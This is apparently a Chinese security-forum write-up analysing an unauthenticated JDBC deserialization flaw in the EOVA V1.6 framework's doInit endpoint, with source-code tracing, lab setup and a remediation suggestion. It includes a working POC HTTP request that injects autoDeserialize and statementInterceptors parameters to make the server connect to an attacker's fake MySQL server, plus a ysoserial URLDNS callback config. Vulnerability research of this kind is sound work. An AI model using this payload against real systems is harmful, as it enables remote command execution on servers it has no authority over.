EOVA未授权反序列化漏洞

EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。

一、漏洞简介

EOVA是一个基于JFinal开发平台的快速开发框架,旨在提供高效、易用的开发工具和组件,以简化开发过程。其设计理念是“简单才是高科技”,强调通过简化开发流程来提高效率,降低开发成本。 EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。

二、影响版本

`Eova V1.6

三、漏洞原理分析

这块漏洞的成因是 JDBC 连接 mysql 服务器的时候,参数完全可控,可传入恶意配置和恶意 mysql 服务器地址,导致反序列化漏洞。

gitee 看到有师傅提了漏洞在doInit 接口

从代码中可以找到他的实现类 eova-1.6-beta5.jar! com.eova.core.IndexController#doInit

很明显可以看到获取请求中的一些参数,然后把拼接到 local_url 变量

然后跟进 JdbcUtil.initConnection 函数,这函数作用就是获取 MySQL 驱动建立和数据库的连接

我们可以调试一下,在 doInit 函数打上断点,发起请求

可以看到和我们分析的一样,这块需要注意的 poc 中的 & 需要 url 编码,在最后可以通过 #来注释后边的内容

之后再来分析一下鉴权,这块使用的是 JFinal 这个国产框架

从拦截器中我们看到回去匹配 excludes 中的接口直接放行

然后 doInit 这个接口就在其中

四、环境搭建

1、下载源码

https://gitee.com/eova/eova/repository/archive/V1.6-beta5.zip

2、建库

sql\\mysql\\demo.sql+eova.sql 分别创建demo和eova两个库,DB编码UTF-8

3、修改配置

src\\main\\resources\\default\\jdbc.config 修改JDBC配置

4、使用 Maven 加载其所需的依赖

5、Windows 操作系统双击 Maven-Windows-Run-Eova. Bat

6、获取秘钥

五、漏洞复现

使用工具:https://github.com/fnmsd/MySQL_Fake_Server

Yakit 生成一个域名

修改配置文件

"yso":{  
​  
        "URLDNS":\["URLDNS","http://ryzyfacocf.dgrh3.cn"\]  
​  
    }

启动脚本

POC

POST /doInit HTTP/1.1  
Host:   
Sec-Fetch-Dest: document  
Cache-Control: max-age=0  
Sec-Fetch-User: ?1  
Sec-Fetch-Site: none  
sec-ch-ua-mobile: ?0  
sec-ch-ua-platform: "Windows"  
Accept-Language: zh-CN,zh;q=0.9  
Sec-Fetch-Mode: navigate  
Cookie: JSESSIONID=1diwaoe2lud2k1w5bzj9gy0r9v; \_jfinal\_captcha=ec1807bb391d443f9730b7b18384157a  
sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Accept-Encoding: gzip, deflate, br, zstd  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
​  
ip=127.0.0.1:3333%2Ftest%3FautoDeserialize=true%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26user=URLDNS%26Yu9=Yu9%23&port=&username=root&password=123456

发送之后

六、总结

漏洞的成因就是因为 JDBCurl 可控,修复建议更新 jdbc 驱动或新增 jdbc url 参数黑名单!

  • 发表于 2024-09-02 09:36:02
  • 阅读 ( 11742 )
  • 分类:CMS

0 条评论

请先 登录 后评论
Yu9
Yu9

3 篇文章

站长统计